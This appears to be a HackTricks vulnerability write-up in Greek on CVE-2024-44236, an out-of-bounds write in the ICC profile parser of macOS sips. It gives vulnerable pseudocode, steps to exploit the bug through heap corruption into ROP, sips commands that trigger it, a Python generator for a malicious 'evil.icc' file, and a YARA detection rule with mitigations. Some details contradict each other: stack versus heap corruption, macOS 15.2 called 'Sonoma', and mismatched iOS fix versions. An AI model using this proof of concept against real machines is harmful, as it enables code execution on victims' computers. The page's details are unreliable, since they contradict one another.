WWW2Exec - sips ICC Profile Out-of-Bounds Write (CVE-2024-44236)
Reading time: 5 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Επισκόπηση
Μια ευπάθεια zero-write εκτός ορίων στον αναλυτή προφίλ ICC του Scriptable Image Processing System (sips
) της Apple macOS (macOS 15.0.1, sips-307
) επιτρέπει σε έναν επιτιθέμενο να διαφθείρει τα μεταδεδομένα της στοίβας και να μετατρέψει την πρωτογενή εκτέλεση σε πλήρη εκτέλεση κώδικα. Το σφάλμα βρίσκεται στη διαχείριση του πεδίου offsetToCLUT
των ετικετών lutAToBType
(mAB
) και lutBToAType
(mBA
). Εάν οι επιτιθέμενοι ορίσουν offsetToCLUT == tagDataSize
, ο αναλυτής διαγράφει 16 bytes πέρα από το τέλος του buffer της στοίβας. Η ψεκασμός της στοίβας επιτρέπει στον επιτιθέμενο να μηδενίσει τις δομές του αλγορίθμου κατανομής ή τους δείκτες C++ που θα αναφερθούν αργότερα, παράγοντας μια αλυσίδα arbitrary-write-to-exec (CVE-2024-44236, CVSS 7.8).
Η Apple διόρθωσε το σφάλμα στο macOS Sonoma 15.2 / Ventura 14.7.1 (30 Οκτωβρίου 2024). Μια δεύτερη παραλλαγή (CVE-2025-24185) διορθώθηκε στο macOS 15.5 και iOS/iPadOS 18.5 στις 1 Απριλίου 2025.
Ευάλωτος Κώδικας
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
if (offsetToCLUT <= tagDataSize) {
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
buffer[i] = 0; // no bounds check vs allocated size!
}
Exploitation Steps
- Δημιουργία ενός κακόβουλου
.icc
προφίλ
- Ρυθμίστε μια ελάχιστη κεφαλίδα ICC (
acsp
) και προσθέστε μία ετικέταmAB
(ήmBA
). - Διαμορφώστε τον πίνακα ετικετών έτσι ώστε το
offsetToCLUT
να ισούται με το μέγεθος της ετικέτας (tagDataSize
). - Τοποθετήστε δεδομένα που ελέγχονται από τον επιτιθέμενο αμέσως μετά την ετικέτα έτσι ώστε οι 16 μηδενικές εγγραφές να επικαλύπτουν τα μεταδεδομένα του αλγορίθμου κατανομής.
- Ενεργοποίηση ανάλυσης με οποιαδήποτε λειτουργία sips που αγγίζει το προφίλ
# verification path (no output file needed)
sips --verifyColor evil.icc
# or implicitly when converting images that embed the profile
sips -s format png payload.jpg --out out.png
- Διαφθορά μεταδεδομένων σωρού ➜ αυθαίρετη εγγραφή ➜ ROP
Στον προεπιλεγμένο
nano_zone
αλγόριθμο κατανομής της Apple, τα μεταδεδομένα για τις θέσεις 16 byte βρίσκονται άμεσα μετά από το ευθυγραμμισμένο slab 0x1000. Τοποθετώντας την ετικέτα του προφίλ στο τέλος ενός τέτοιου slab, οι 16 μηδενικές εγγραφές καταστρέφουν τοmeta->slot_B
. Μετά από μια επόμενηfree
, ο μολυσμένος δείκτης εισάγεται στη μικρή λίστα ελεύθερων, επιτρέποντας στον επιτιθέμενο να κατανομήσει ένα ψεύτικο αντικείμενο σε μια αυθαίρετη διεύθυνση και να αντικαταστήσει έναν δείκτη vtable C++ που χρησιμοποιείται από το sips, τελικά μεταφέροντας την εκτέλεση σε μια αλυσίδα ROP που αποθηκεύεται στο κακόβουλο buffer ICC.
Quick PoC generator (Python 3)
#!/usr/bin/env python3
import struct, sys
HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding)
TAGS = [(b'mAB ', 132, 52)] # one tag directly after header
profile = HDR
profile += struct.pack('>I', len(TAGS)) # tag count
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)
mab = bytearray(52) # tag payload (52 bytes)
struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start)
profile += mab
open('evil.icc', 'wb').write(profile)
print('[+] Wrote evil.icc (%d bytes)' % len(profile))
Κανόνας ανίχνευσης YARA
rule ICC_mAB_offsetToCLUT_anomaly
{
meta:
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
author = "HackTricks"
strings:
$magic = { 61 63 73 70 } // 'acsp'
$mab = { 6D 41 42 20 } // 'mAB '
$mba = { 6D 42 41 20 } // 'mBA '
condition:
$magic at 0 and
for any i in (0 .. 10): // up to 10 tags
(
($mab at 132 + 12*i or $mba at 132 + 12*i) and
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
)
}
Impact
Το άνοιγμα ή η επεξεργασία ενός κατασκευασμένου ICC profile οδηγεί σε απομακρυσμένη εκτέλεση αυθαίρετου κώδικα στο πλαίσιο του καλούντος χρήστη (Preview, QuickLook, Safari image rendering, Mail attachments, κ.λπ.), παρακάμπτοντας τον Gatekeeper επειδή το προφίλ μπορεί να ενσωματωθεί μέσα σε αλλιώς ακίνδυνες εικόνες (PNG/JPEG/TIFF).
Detection & Mitigation
- Patch! Βεβαιωθείτε ότι ο υπολογιστής εκτελεί macOS ≥ 15.2 / 14.7.1 (ή iOS/iPadOS ≥ 18.1).
- Αναπτύξτε τον κανόνα YARA παραπάνω σε πύλες email και λύσεις EDR.
- Αφαιρέστε ή καθαρίστε τα ενσωματωμένα ICC profiles με
exiftool -icc_profile= -overwrite_original <file>
πριν από περαιτέρω επεξεργασία σε μη αξιόπιστα αρχεία. - Ενισχύστε το Preview/QuickLook εκτελώντας τα μέσα σε sandboxed “transparency & modernisation” VMs κατά την ανάλυση άγνωστου περιεχομένου.
- Για DFIR, αναζητήστε πρόσφατη εκτέλεση του
sips --verifyColor
ή φορτώσεις βιβλιοθηκώνColorSync
από sandboxed εφαρμογές στο ενοποιημένο log.
References
- Trend Micro Zero Day Initiative advisory ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)” https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
- Apple security updates HT213981 “About the security content of macOS Sonoma 15.2” https://support.apple.com/en-us/HT213981
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.